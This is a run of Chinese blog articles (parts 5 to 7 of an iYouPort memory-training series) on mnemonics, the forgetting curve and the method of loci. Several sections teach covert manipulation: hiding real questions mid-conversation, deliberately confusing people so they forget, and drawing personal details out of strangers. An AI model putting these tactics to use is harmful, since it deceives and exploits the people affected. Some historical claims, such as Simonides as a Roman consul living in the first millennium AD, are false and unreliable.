- 梅尔·阿密特
- 鲁文·希洛阿
- 兹维·扎米尔

一个人的动机和需求对记忆有很大的影响。比如你可能会发现，记住地铁路线上的所有站点是件困难的事，那仅仅是因为逃亡对你来说不是“经常需要”的东西；对于售票员来说，记住它们就会非常容易了。

但是您无法等到必需逃亡的时候才开始记忆这些信息 —— 尤其是，您不可能在没有任何练习的情况下瞬间提升记忆力以满足应急的需求。

因此，记忆力训练应该是一个日常工作，以便您能够在应急的状况下迅速记住那些可以保命的重要信息。

我们将在下篇文章中详细介绍这个方法。下次见。〇

—— 未完待续 ——

广告

原文

如何操纵他人遗忘和忽略对你来说最敏感的信息 - 塑造超强记忆力的方法（5） - iYouPort

超强记忆力（完成）

记忆是有规则的，这就是为什么你能用它来帮助自己记住，也能用它来操纵他人遗忘……

「图」

「图」

如果您忘记了或者还没有读过本系列此前的内容，在下面看到 —— 建议按顺序阅读哦，因为其中的练习方法和游戏的难度在渐进增强：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》

正如你所知道的，动机这个东西在几乎任何情况下都是一种促进力，关键在于，你选对了动机。

一个人的动机和需求对记忆力来说也有很大的影响。

比如，您可能会发现，试图记住铁路线上所有站点是件 “困难的事”；但是对于售票员来说，他们会记忆得非常深刻，因为他们需要这些记忆来进行工作。

换句话说，在某一种情况下，你会不自觉地记住东西。

记住日常需要的信息会更容易。大脑会将它所收到的信息分为「重要」和「其他」两大类，以此来节省自身能量。由此一来，就有了以下建议：

☞在需要记住任何事情之前先在心里明确一下关于为什么要记住它，以及记住它之后会得到什么样的回报。同样的，如果你希望别人记住你问他们的事，那就要给对方创建一个记忆触发器 —— 吸引对方的兴趣。

这需要一点社交工程，也就是你对对方的了解：关于他们最感兴趣什么、什么东西最容易吸引他们的注意。正如中文词汇所描述的 “说到心坎里”，我觉得这个短语特别形象。

需求和动机经常会对记忆开某种残酷的玩笑，就如弗洛伊德所描述的那样：人类对于情感慰籍的渴望往往会导致忘记可能令人不快的信息，这种现象被称为“压抑”。

如果你总是忘记与某个特定的人会面，而在与其他人会面时这种情况很少出现，于是你需要琢磨一下，也许与那个人交流或与此人相关的联想会引发你情绪上的某种不适感。

很难想象有人会忘记向一个非常慷慨的朋友打电话借钱，但债务人经常会忘记打电话给债权人商谈还钱的日期。他们可能是真的忘了，他们的大脑强制他们回避 “不愉快” 的东西。

练习 —— 重现火柴造型（等级2）

你的火柴游戏玩得如何了？现在可以把它变复杂一些了 —— 让别人帮你扔火柴。

☞人们总是能更容易记住自己亲手做过的事的细节，却容易忘记他人做的事的细节，然而在现实中，你最需要记住的经常都是他人的行为，尤其是在反侦查反追踪行动中。

你还可以改变一下方法，把小蜡笔和火柴掺杂在一起，扔出后快速拍照，之后你需要在一张纸上准确地画出布局造型。

试试看，给自己以信心，也许你会发现没有想象中那么难。

「图」

「图」

遗忘曲线

19世纪末，德国心理学家 Hermann Ebbinghaus 通过研究总结出了记忆的遗忘曲线，解释了人们忘记所学信息的过程。

Ebbinghaus 要求受试者记住三个字母组成的音节，这些音节并没有实际意义。如果不动用想象力，只靠死记硬背，一个小时后只能记得44%的信息；而一周后只能记得不到25%。

幸运的是，通过有意识地记忆，信息被遗忘的速度会变慢。

大部分信息在学习后的几个小时内就被忘光了，这种情况下怎么办呢？进一步的实验表明，复习可以降低遗忘率；信息被重复的次数越多，记忆效果就会越好。

确定遗忘曲线的实验得出了具有应用价值的结论。首先，试图一次性记住所有信息是不现实的，最好的方法是分阶段记忆信息，并留出时间进行重复。

如果你有一整天的时间用来记忆，最佳重复率是这样的：

- 第一次：学习后的15 ~ 20分钟；
- 第二次：6 ~ 8小时后；
- 第三次：24小时后。

最好主动地重复这些信息，与其重读和重听，不如尝试从记忆中把信息绘制或写下来，并在必要时与源文件对照检查。

如果您有更多的时间用于记忆，请重复信息如下：

- 第一次：初学的当天；
- 第二次：初学后的第四天；
- 第三次：初学后的第七天。

如果信息很多，最好以不同的详细程度进行重复：第一次重复全部，第二次只重复关键点，第三次再重复全部，但以不同的分组和不同的顺序进行重复。

☞处理的程度越深，信息就越容易被回想起来。

重复三次是最低要求。⚠如果你正在实施分身术以保护真实身份的在线安全性，你可能需要重复上百次才能将各种分身表现得游刃有余、不留破绽。

- 在这里回顾《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

之后还要定期回忆，以刷新记忆。能否做到完美可能事关人身安全。

游戏 —— 填字（6×6）

升级填字游戏。这一次在四角上画6行6列的方格。

试着尽可能快地记住它们。

「图」

「图」

序列位置效应

这是一种记忆效应，对于情报分析师和调查工作者来说非常重要。

为了校验它的效果，我们可以进行一个小实验。请在没有准备的情况下快速阅读以下文字：

- 烟花
- 橙子
- 汽车
- 时钟
- 沙发
- 油画
- 代数
- 博士
- 杂志
- 员工
- 摩天大楼
- 陨石

⚠现在闭上眼睛！尽可能回忆上述这些词语。

自行检查：“烟花”和“”陨石“是否是最容易记住的词、而列表中间部分的词语更难以准确记忆？

☞大多数情况是如此的。人们更容易记住开头和结尾，而不是中间。

序列位置效应不仅适用于记忆列表。当你试图回忆一整天中发生的事时，早晨和晚上的事通常更容易被记起来；记忆一个故事时也一样，最难记住的莫过于按时间顺序排列在中间部分的内容。

如前所述，序列位置效应在情报工作和调查工作方面有广泛的应用 —— 你去调查他人，而不要被他人意识到你正在调查他们。很多时候是使用这种效应。

☞如果您曾经不幸遭遇政府间谍，你可能会发现，他们的对话模式存在明显的套路，那就是：先铺垫、穿插要点议题，结尾继续铺垫；也就是说，把他们真正想要知道的事掩埋在一大堆毫无用处的对话中。

任何不够小心的人都会中计。

我们在社交工程专栏中介绍过的套话技巧不止这一种，但这种最常用 —— ⚠任何间谍社交工程相关的培训中都会介绍它。如果是那种学习不够精湛的政府间谍，你会很容易发现他们死记硬背出来的模式。

- 《语言是强大的武器—— 如何使用它？社交工程攻击演示继续：致命的诱导》
- 《如何让一个人心甘情愿吐露重要信息？—— 社交工程攻击“诱导的艺术”》

这不是间谍培训哦！这是记忆力训练的主题，但是要知道，⚠这一效应对任何希望隐藏自己真实目的的人来说都是有效的。

⚠也就是说，你不应该在谈话的开始和结束时谈论你 **真正** 关心的话题。你应该从足够抽象的话题开始，在谈话的中间部分询问或告诉对方你真正需要的内容。之后继续谈论无关紧要的内容，直到谈话结束。

☞注意其间始终采取平稳的语调和语速，切勿在「重点」和「无关紧要」中间出现可见的切换。这很重要，一些死记硬背的间谍学员经常在此出现破绽。你仔细观察，就能发现……

尤其是请记住：序列位置效应不是万能药。如果你真正关心的话题肯定会触及某个人内心的痛点，那么，不论任何时候提及它，都会立刻令对方警觉。

于是这其中的艺术在于：准确识别交流对象的痛点，并努力避开它们。

☞你可以用不同的方式提出问题。比如，你可以创造一个小心眼的、不够圆滑的角色形象，由于无知和欠考虑而引出了一个令人不适的话题。只要你设计得足够逼真，对方会记住你的笨拙无理，而忽视你提出的关键问题。

这是一种类似转移视线的心理操纵方法。

练习 —— 舒尔特表（5×5）

这是另一个可以提供练习机会的舒尔特表。上一次您的练习成绩如何？

☞请记住，把眼睛聚焦于表格中间的单元格，用你的周边视力去寻找数字。可以试着多看一些数字，不局限于你目前要寻找的数字。

不断进行这个练习，它可以训练你的头脑，⚠尤其是在反追踪的过招过程中，这种迅速准确的观察能力可以帮你保命。

「图」

「图」

辨别干扰信息

干扰信息的本质是相似的记忆被混杂在一起了。

两段相似的记忆会互相影响，它们越是相似，准确记忆它们就越难。这就是为什么要强调：您的多个分身之间尽可能不要有任何相似性，不仅是为避免被追踪者关联起来，而且还有，你不能把自己绕进去。

举个最简单的例子，你使用某张银行卡已经多年，已经完美地记住了它的密码；但是这张卡到期了，银行发给你一张新卡。最初，每次你操作时都会自动想起旧密码，以至于你必须有意识地去回忆新密码。但是一段时间后这种习惯会改变：新密码被自动唤起，而旧密码需要努力去想。

与这一情况相关的类似记忆都会互相干扰。

☞为了减少干扰的影响，你可以有意识地将类似信息的记忆任务分隔开来。

比如在准备考试时，尽可能把彼此截然不同的要点放在一起进行记忆。这一规则在很多情况下都适用。

如果你需要编辑一个文档、撰写一篇评论并绘制一张图表，那么最好用绘制图表这个任务将编辑文本和撰写评论分隔开。

☞相反，如果你想要某人忘记某件事，你就可以对他灌输大量相关主题的信息。你可以假装征求他的意见，以详细讨论这个话题，并且让他密切参与。信息越多越好，他越容易迷糊在里面。

这就是有意地制造干扰，最终他将无法记清楚你试图让他忘记的信息；反之，如果没有混淆，他会记得更清楚。至少，混淆能让他感到困惑，并失去信心。

☞如果有人试图在对话中记住某些事，而你想要阻止他记住，可以尝试提示他 —— 错误的但相似的建议会妨碍记忆的进程，从而形成干扰。

※这是律师经常使用的社交工程技巧，在法庭审理中有意识地使证人混淆自己的记忆，然后律师趁机抓住把柄推翻证词。

在日常生活中，当你的朋友或家人试图帮助你记住某些事的时候，你也会经历上面那种情况，亲友的帮忙通常只会让事情变得更加困难。

练习 —— 掷骰子（等级3）

升级了哦。增加更多不同颜色的骰子，只给自己5秒钟时间来记住骰子的数字和颜色。

不要忘了上篇文章中包含在线掷骰子游戏平台，见《这里是100个最实用的网站：也许您用得到》。

风俗和习惯

干扰不仅仅对记忆信息有影响，也会影响到已经掌握的技能。

比如，一名中国人来到英国，他就会犯迷糊，因为英国的交通规则是靠左行驶，而中国是靠右。“右手”技能不仅没有任何作用，而且还是干扰因素，你必须克服它。

⚠在紧张的情况下，当有意识的控制被削弱时，旧的习惯会再次出

现。这就很容易让角色扮演和伪装露出马脚。

还记得我们讲过的故事吗？那是美国战略情报局的外勤特工讲述的，当时被派往法国的间谍要学会将香烟一直吸到烟蒂处。有一次，一名特工扔掉了吸了一半的香烟，结果正因此被盖世太保识破身份。因为在香烟紧缺的法国，节俭的普通人是绝对不会这样做的。

情报史上因这种无意识的行为暴露身份的案例比比皆是。

☞克格勃曾经发布了一份备忘录，其中列出了可用于识别外国间谍的特征清单。其中包括，比如：把冰块放在酒精饮料里、小恩小惠也要酬谢、晚餐不吃面包，等等。这些行为对于西欧和美国人来说完全正常，但是苏联人可不会这么做。

☆想要识别某人的身份吗？让他暴露旧习惯就行了……

如何做到让他暴露？你可以提一个特别敏感的话题，或者让他对言语和行为 **迅速** 作出反应，以此来迷惑他。速度越快越好，此人如果没有经过专业级的训练，就很容易在这种情况下被分心，从而暴露自己。

此外，疲劳和酒精中毒，都会削弱有意识的控制能力，从而容易暴露一个人真实的面目。☞有意识地制造这类环境就变成了识破身份的手段。

测试！快读回答：

沙发后面的那个词是什么？

- 博士
- 代数
- 杂志
- 油画
- 时钟
- 汽车

下篇文章我们将介绍更详细的记忆法则。准备好您的竞争力！下次见。〇

—— 未完待续 ——

广告

原文

迷惑他人的把戏和速记法：塑造超强记忆力的方法（6） - iYouPort

超强记忆力（完成）

把你的眼睛蒙上，你能在自己家里顺利生活一整天吗？不，这不是测试，而是一种速记法

「图」

「图」

如果您忘记了或者还没有读过本系列此前的内容，在下面看到——建议按顺序阅读哦，因为其中的练习方法和游戏的难度在渐进增强：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》

本文将继续前文的路径：介绍 操纵/引导 他人 遗忘/记起 的小技巧。并介绍几种有趣的速记法。

部分重现和遗忘

当你没时间复习考试相关的所有材料时，你可能已经注意到了这种效应。那些你没有复习到的问题将成为考试中最难回答的问题。

☞即便一个人将大量关于某件事的信息记得滚瓜烂熟，如果你先问他该事件的某一个细节问题，然后再让他回想另一个特征细节，就会变得更加困难。

同样，在庭审中，如果先问证人关于罪犯戴的眼镜的形状，那么随后

证人就可能很难描述出罪犯穿的外套的颜色特征了。

律师经常这么干 —— 使用这种方法在法庭上迷惑证人，如果证人对罪犯只有匆匆的一瞥，那就更是如此了。

☞通过询问细枝末节的信息，并在 **恰当的时候** 打断，一个善于操纵他人的律师就能准确地打击证人的信息，并在证词中指出证人“前后矛盾”。

☞如果你想让某人忘记你提出的某个问题，那么在下次与他们的会面中，你可以将所有 **其他问题** 重复一遍；这样一来对方就会把你希望他忘掉的那个问题抛在脑后了。或至少能在他记忆中变得模糊。

对于调查人员和情报分析师来说，这点也是非常重要的。对材料的检查一定要细心：那些没有检查到的内容就会从你的记忆中消失。

游戏 —— 火柴造型（等级3）

继续升级火柴游戏！

你需要努力记住火柴的位置，将它们按照不同的几何形状进行分组。也许随机散落的火柴能让你想起某些事？那就努力回想那个故事，会很有用。

如果你觉得自己做得不够好，也不要放弃；或者您还可以回到上一级的练习中重新再来。这不是线性的。

记得要不断练习哦，越重复越熟练。

Zeigarnik 效应

Zeigarnik 效应认为，未完成的或者被打断的任务，比起那些已经完成的任务更容易被记住。

心理学家 Kurt Lewin 和 Blum Zeigarnik 在一家咖啡馆注意到，服务员并没有用笔记下他们点的东西，但随后送上来的东西分毫不差。

然而，当他们询问服务员刚刚用完离开的顾客点了什么东西时，服务员却一点都想不起来了。

☞随后的实验表明，与已完成的任务相比，被打断的任务被记住的概

率可以高出一倍。这种“未完成行动效应”也许可以用保持激励性紧张的状态来解释，因为激励性紧张状态能激活记忆力 —— 任务完成后，激励就消失了，人们就会忘记与该任务相关的一切。

Zeigarnik 效应在实践中非常有用。比如，如果你正在撰写一段长文，然后停在某一章节没有写完，那么下次再写时你就很容易进入写作姿态。未完成的行动可以帮你更快速地回忆起上次停笔的位置，以及接下来想写的内容。

☞未完成行动效应也适用于与他人的互动。你可以就此操纵对方的注意力。

☆在交谈的中间部分是最为紧张的，这时候还没有得出结论，如果你就此中断对话，那么对话者受到的影响就会更大 —— 他们更有可能回顾这个问题，不断思考，也更有可能同意你的观点。

「图」

「图」

催眠性迷睡

这来自KGB的研究：催眠性迷睡（ hypnotic trance ）是一种将睡眠和意识结合起来的特殊心理状态。

它伴随着更强烈的暗示性：在催眠状态下，人们可能很容易理所当然地相信那些在非催眠状态下他们永远也不会相信的事情。

现代人对催眠的理解主要基于 19世纪法国精神病学家让·沙尔科（ Jean Charcot ）和伊波利特·贝尔南（ Hippolyte Bernheim ）的研究成果。

俄罗斯科学家 V. M.贝特列夫（ V. M. Behterev ）也研究催眠。

然而，尽管长期以来，科学领域对这种现象非常感兴趣，但对催眠的机制却知之甚少。

在表演期间对大规模观众使用催眠术的案例表明，催眠术只对一部分人有用，对另一部分人则无效。

很可能不同的人受到催眠影响的程度不同。

著名催眠师 Wolf Messing 一般会为自己的表演选择容易受他人影响的观众。在 Messing 的表演中，被催眠的人躺在两把相对的椅子上，只靠头部和脚支撑。他们可以承受放在自己肚子上几十千克的重物。

他们不会感到痛苦，与平时相比他们会透露更多关于自己的信息，并为催眠师执行最奇怪的任务。

许多催眠师声称他们可以随时催眠任何人，但事实并非如此。

催眠术发展到今天的水平，还是需要被催眠的人帮助催眠师引发迷睡状态。

包括军事科学家在内的科学家们正在研究新的催眠方法，这种方法可以向任何人施加影响，让其违背自己的意愿做事，但目前尚未被开发出来。

调查人员的其他常见记忆法

遗忘是记忆力一个至关重要的功能，它可以保护大脑免受信息超载的影响。

首先，每个人都会忘记那些很长时间都没有使用过的过剩信息。这些信息不可能用原始形式储存，那是不现实的，因此大脑会对其进行处理和泛化。

有时候这种泛化以直觉的形式进行 —— 就是无法用逻辑来解释的那种感觉。通过这种方式，大脑基于我们已经遗忘的类似情况的经历，给我们提供了直觉的线索。

其次，我们会倾向于忘记所有令人不快的信息；那些痛苦的回忆或违背个人价值观和信仰的行为，都会被无意识地从记忆中赶走，以便恢复心理上的舒适感。（这是说的普通人，而抑郁症患者在此恰恰相反）

遗忘行为具有时间依赖性，从收到信息的那一刻起，经过的时间越长，遗忘的可能性就越大。

☞对于追踪者来说，如果一个追踪项目长时间终止（以各种原因，比如资金短缺、其他案件继续出现没有时间等等），就可能会对该案件造成很大的影响 —— 这就是为什么我们说，时间，是侦查反侦察行动中最有价值的东西之一，只要你能抢到足够多的时间，就更有可能

拖垮对手，就此结束游戏。

在下面回顾我们去年发布的 #反侦察 系列：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

☞一旦追踪者失去了对案件的感知，他们就只能从头做起（如果还想做的话）。那时候你早就人间蒸发了。

其实不需要太多，一两个星期的终止就能很有效果。

相反，如果你是研究人士，对一个议题的调研陷入了死胡同，那就终止它，把它搁置一两个星期，再次开始时你会有不一样的视野。重要的细节和琐事会逐渐消融在背景中，你可能会对这个问题产生新的思路。

在心理学中，有一种理论认为，一旦信息被吸收了人就不会忘记它，想不起来只不过是失去了通往它的“途径”。“被遗忘”的信息其实没有消失，在特殊情况下会被再次唤醒。

一个包含神经外科手术的实验证明了这点 —— 刺激大脑皮层的某些区域，会唤起被遗忘的记忆。

但是对皮层的直接刺激并不是唤起遗忘信息的唯一方式。前文中我们已经提到了一些唤起记忆的方法，而在所有方法中，最重要的莫过于对接收信息时的处境进行心理再现。

「图」

「图」

地点法

故事法并非是记住词语表的唯一方法。

故事本身并不重要 —— 它只是将词语联系在一起的手段，将词语编码成图像、并置于带有情感色彩的情境中。

☞成功的记忆需要使用关联性、意象和情感，而这些方法也是另一种方法 —— 地点法的基础。

故事法将图像与故事情节联系起来，地点法则将它们放置在一个熟悉的空间里：一所房子、一个房间、或一条街上。

地点法历史悠久。古罗马演说家 Marcus Tullius Cicero 曾经讲述过一个传说，提到地点法是由公元5 ~ 6世纪来自凯阿岛的希腊诗人 Simonides 发明的。

Simonides 在出席一次盛宴时被一些不明人士叫走。诗人刚走出屋子，屋顶就倒塌了。其他所有客人因此丧命。人们无法辨认亲人的遗体，但 Simonides 记住了餐桌上每个人的座次，从而帮助人们找到了遗体。

Cicero 在 “On the Orator” 中描述了这一事件，得出结论：要想记住一系列对象，就有必要构建这些对象的心理图像，并将他们放置在一个想象的地点中。空间的顺序也将记录记忆对象的顺序。

Cicero 本人在记忆自己的演讲稿时就使用了地点法。排练演讲时，他走遍自己的家，将每个房间与一个特定的主题或想法相关联。

使用地点法的另一个例子是 Giulio Camillo 的 “Theatre of Memory”。16世纪文艺复兴期间这位哲学家和炼金术士试图建立一个全面的人类知识体系，将其置于一个特殊的建筑 —— 记忆剧场中。

每个知识领域都在记忆剧场里占据一席之地，所有领域互相联系，共同形成一幅完整图景。

Camillo 甚至着手为“剧场”建造了一座真实的木质建筑，但最终没有完成。他也未能详细阐述“剧场”的基本原理。然而，将知识及其各部分之间的联系进行可视化呈现的理念，对 Camillo 同时代的人们产生了重大影响。

一直以来，记忆的艺术都与政府、国际关系、和情报机构有关。

凯阿岛的 Simonides 写过一组关于希腊-波斯湾战争的诗歌，因此在希腊具有一定的政治影响力。此外他还是一名外交官，负责解决冲突并防止杀戮。Simonides 是罗马政治中的重要人物，其卓越的口才和

记忆力令他备受瞩目，并当选成为执政官。

亚里士多德、塞内加、奥古斯丁、大阿尔伯图斯、托马斯阿奎纳、Giordano Bruno、Wilhelm Leibniz、笛卡尔 —— 都为记忆理论和实践做出过贡献，当然还有许多其他人没有被提及。他们每个人在自己的时代都极具影响力，其中一些人还服务于情报部门。

尝试一下

☞ 为了掌握地点法，一开始最好选择一个小的、熟悉的地方：比如你的公寓。想象一下这个地方。在其中找到你能定位和安放各类物品的区域。

比如，你的公寓内有一个门厅、一个客厅、一条走廊、一个厨房和一个浴室。**在你脑海中** 将每个房间以逆时针的方向巡视一遍 —— 如果你觉得比较难，那就亲自走一圈，仔细观察每一个房间。

即使是在一个小公寓里也能找到二三十个放置物品的地方。显然，你的公寓和其中物品可能有所不同，但关键是你应该清楚地了解它们。

还记得下面这个词汇表吗？—— 想象它是一个密码：

烟花

橙子

汽车

时钟

沙发

油画

代数

博士

杂志

员工

摩天大楼

陨石

☞快速记住这个词语表的方法是什么？—— 把它们全部放进你的 “公寓” 里，安置在每一个恰当的地方，讲一个故事。试试看。

也许画面不太合理，但它的确能帮你快速记忆这个词语表，其关键在于，将词语表中每一个词都 *放在* 你容易记忆的 *空间* 中。

☆请注意故事中所使用的助记法的两个主要原则：

1、相关性 —— 所有物品都与一个熟悉的地方相联系，有时物品之间还存有一定的联系。

2、情绪 —— 你害怕被烟火灼伤；你想要橙汁，但一想到酸味和果汁粘在杯子上的样子就会面露苦色；你为生锈的汽车感到心疼；你对那个总想找个沙发坐的胖子感觉惊讶；你对藏在油画后面的东西感觉好奇；同时也为博士担心，因为他必须携带一大堆厚重的杂志 ……

就是这样。

使用地点法

☞要想使用地点法，你必须对某个地点非常熟悉。

你必需可以轻松地在这个地方穿梭，在不同房间之间神游，并能清楚地记得接下来的一切。

具体来说，光记得门后有衣柜是不够的。你必须能想象关于这个衣柜的一切细节 —— 它的大小、形状、颜色、触摸时的感觉、柜门开合时的声音、以及柜内的气味。

☞最好对地点进行选择，以便让它们有所不同。因为相似的或者并排放置的书柜可能会对你的记忆形成干扰，增加了混淆不同物品的风险。

学习地点法时，最好选择真实存在的地点，特别是那些你可以实地探访的地方。

☆一旦你掌握了这个方法，就可以使用完全虚构的世界了。

确保它们容易被记住，要彻底想清楚所有细节。经常在大脑里“探访”这个地方，这些虚构的地点会对你产生很大的帮助。

练习

选择三个位置来练习地点法。在心里把它们都“逛”一遍。想象每一个地点、每一件物品。

你所在位置的所有东西都有自己的尺寸、形状、颜色、重量、质地和气味。使用这些东西：移动想象中的家具、敲一敲想象中的桌子、打开想象中的门、摸一下门把手。

先使用实际存在的地点，熟悉之后就可以使用完全想象出来的地点了，你可以在其中“安置”任何东西。

测试！——快速回答

在克格勃科学顾问看来，在暗示性技巧改进领域中，军事心理学家研究的主要方向是什么？

（A）在催眠性迷睡中消除对已感知信息的怀疑

（B）在催眠性迷睡中消除疼痛

（C）在催眠性迷睡中增强人们的体力

（D）在没有催眠者的帮助下催眠任何人的能力

「图」

「图」

身体记忆

如果要记住的是一个简短的清单，你还可以使用自己的身体部位。

☞假设你正在准备一次公开演讲，需要记住提纲。你可以将第一部分演讲内容的画面放在脚上，绑在鞋子上，第二部分内容和膝盖连接起来，第三部分贴在屁股上。

不要笑这个方法很好用，因为你对自己的身体会很熟悉。你可以在身

上放置不少于10件物品：

- 脚
- 膝盖
- 臀部
- 腰部
- 腹部
- 胸部
- 肩膀
- 脖子
- 脑袋

☞这种方法可以防止你在公开演讲时思路丢失。

练习 —— 地点法记忆词语表（等级1）

通过这个简单的练习掌握地点法。记忆清单的时候，在心里将相关概念放在一个熟悉的空间里，尝试使用自己的身体作为助记空间。

练习 —— 地点法记忆（等级2）

使用地点法掌握记忆词语的技巧。这一次，想象你的房间或公寓的空间。

利弊

您已经熟悉了记忆清单的两种方法：故事法和地点法。它们有共同之处，最重要的共同点是，它们都满足助记法的两个基本原则：关联性和情感。

但也有不同之处：在故事法中，关联是由一个对象到另一个对象那样构建的；而在地点法中，是从对象到其在虚构地点中的位置进行构建。

☞同时使用这两种方法效果将会最好。也许你会选择其中一个，这完全取决于你，每种方法都有其优缺点。

地点法的优势在于，在从已记住的清单中寻找某个对象时，你不需要把整个故事都回忆一遍。

地点法的局限性在于，首先，你需要通过想象一个很大的空间来记住

一个长长的清单；其次，你需要掌握很多熟悉的空间，以避免混淆不同的清单。但与故事法相比，人们依旧更喜欢它。

当然，同一空间可以反复使用；一旦记住的清单不再有用，你可以在脑海中游览一下这个空间，并通过删除图像将其清空。然后再检查一下，确保没有任何东西留下了。下一次你就可以重新使用它了。

练习 —— 地点法记忆（等级3）

尝试记住更长的清单，缩短记忆时间。每记住3～4个清单后切换方法。

交替使用地点法和故事法记忆词语表。每次尝试每个词语只用3秒钟来记忆。

游戏 —— 套话

找一整天空闲的时间，随手打车，随意逛整个城市。

☞结束后您需要回答的问题是：出租车司机的姓名、出生地、住址、是否结婚、是否有孩子、孩子多大了、他们对工作的喜欢程度、对某个社会热点议题的观点，等等。越详细越好。

不要用任何物理方法记录，只用脑记。

这需要您首先撬开司机的话匣子。关键是找到对方感兴趣的话题，*让他*感兴趣而不是你，之后他就很可能侃侃而谈了。试试看，有些人一开始说就会停不下来的 ……

下一部分内容中我们将进入专业级训练，请准备好。〇

—— 未完待续 ——

广告

原文

使用逻辑快速记忆大量信息：塑造超强记忆力的方法（7） - iYouPort

超强记忆力（完成）

不要和那种讲求拼命的人合作。勇者从来都是以智取胜的

「图」

「图」

如果您忘记了或者还没有读过本系列此前的内容，在下面看到——建议按顺序阅读哦，因为其中的练习方法和游戏的难度在渐进增强：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》
- 《迷惑他人的把戏和速记法：塑造超强记忆力的方法（6）》

练习（等级1）

在网上照一张地图，从中找到你熟悉的城市。

在地图上为自己选一条路线，努力记住这条路线，用脑而不是用笔；然后关闭地图，努力想象自己正走在这条路线上。

你在沿途看到了什么？路的两侧都有什么？尽可能在脑海中把它们画出来。越详细越好。

记忆和识别

确保你已经记住某件事的唯一方法是：在没有任何帮助或提示的情况

下完整地复述它。然后将它与原始材料进行对比。

不要只在主观上“感觉”自己已经记住了，也不要在别人的故事或文本中记住某件事，而是要把它写下来，并与原始材料进行对比。

☞这很重要。尤其是对于行动者来说，你需要掩饰身份或处理任务时，这一能力非常重要 —— 所有内容都要完整复述，并通过检查。

其实生活中也是如此。比如准备考试，你觉得自己已经把材料背的滚瓜烂熟了，但是真的拿到考卷时就发现想不起来。

这意味着其实你并没有真的 *记住*，你只是 *识别* 了这些信息，于是产生了一种“已经记住”的错觉。

能“认出”，并不代表能记住，也不会意味着在用的时候能想起来。

⚠如果你是团队组织者，正在向你的队友发布指令，那么请队友重复这些指令。如果你告诉对方的是行动流程，那么必须让他以正序和倒序两种方式重复指令。

如果你是学生，正在准备考试，你需要把要回忆的所有材料写在一张纸上。光有记住和识别的主观感觉是不够的。

☞记住这条记忆规律：仅对内容进行部分复述只会让记忆变得更糟。最好是回想全部内容。

测试！（等级2）—— 快速回答：

希腊诗人 Simonides 发明的是什么技巧？

- 图像法
- 地图法
- 地点法
- 迷睡法

「图」

「图」

报告和演讲

你一定见过那种拿着稿子的演讲方式？很令人沮丧吧。原本是言辞激昂的内容，演讲者的眼睛却不断看着手稿…… 就像断气一样。

说实话脱稿可能并不容易。公共场合的演讲会面对大批听众的压力，在人类恐惧症榜单上始终排名前列。但您依旧有太多理由追求脱稿模式，因为只有这样才能调动听众的热情 —— 尤其是在动员中。

演讲者是第一批使用助记法技巧的人之一。脱稿会让你更自信，也能更好地应对自身压力。

你没有必要全文背诵演讲词。记住要点和要点之间的联系就足够了。这样你不会忘记内容，还有充分的临场发挥空间，可以与听众沟通的空间。

步骤如下：

1、将你的演讲分解为不同的语义单元。没必要分太细，对于小型演讲来说，10个左右的单元就足够了。

2、构想论点（每个篇章的主要思想）—— 用3 ~ 4个单词组成的句子表示即可。

3、用一个能够明确阐述你的陈述的关键词，对每一个论点进行编码。

4、使用故事法或地点法帮助记住所有关键词的列表。可以用自己的身体部位作为助记空间。

5、排练。复述或写下整篇演讲的论点，通过记忆复述关键词。正序做一遍，倒序再做一遍。

练习

阅读一篇很短的文章。将它分解为不同的语义单位。用提纲的形式写下这些语义单位的主要思想。

确认关键词并记住它们。

然后试着复述文章，最后与原文进行对比，检查准确度如何。

使用不同主题的文章反复进行这项练习，不仅可以锻炼你的记忆力，还可以锻炼留存、处理和压缩信息的能力。

☞快速从大量信息中准确提取重要信息的能力对于互联网人来说尤其重要。

巧妙使用结构

要想记住大量信息，最好能将它们组织起来。

组织不同资料最有效的方法之一就是使用树形结构对其进行分类。

比如你需要记住桌面上的所有物品，以便外出回来后能迅速知道是否有人动了你的东西。

你的桌子上放着下面这些东西：

- 一台笔记本电脑
- 一支钢笔
- 一个笔记本，第15页上有书签
- 几张白纸
- 一个卷笔刀
- 一台无线信号探测器
- 一本各国索引
- 一块移动硬盘
- 一个相框照片
- 一张储存卡
- 一支铅笔
- 一本心理学书
- 一个手机充电器

以原始形式记住所有东西可能不太容易。但是你可以把物品分类，比如分为电子设备和其他物品两类。那么清单就变成这样：

1、电子设备：

- 笔记本电脑
- 无线信号探测器
- 移动硬盘
- 储存卡
- 手机充电器

2、其他物品：

- 钢笔
- 笔记本，第15页上有书签
- 白纸
- 卷笔刀
- 各国索引
- 相框照片
- 铅笔
- 心理学书

这样一来清单就小很多了。但还可以细分，比如：电子设备分为存储设备和其他设备；其他物品分为书写材料、书籍和装饰品。

这就有了一个二级分类的树形结构列表。

☞已经很多实验表明，记忆有序的信息比记忆杂乱的信息效果要高出数十倍。

试着在脑子里画图表，将信息分区保存。

「图」

「图」

思维导图

俗称脑图。技术人员都擅长这个。它是以视觉形式呈现资料的结构。

思维导图是英国心理学家 Tony Buzan 开发的记忆技巧，Buzan 是世界记忆力锦标赛的创始人。这一赛事会挑选全球最优秀的记忆专家同台竞技，现场比拼记忆力准确度。

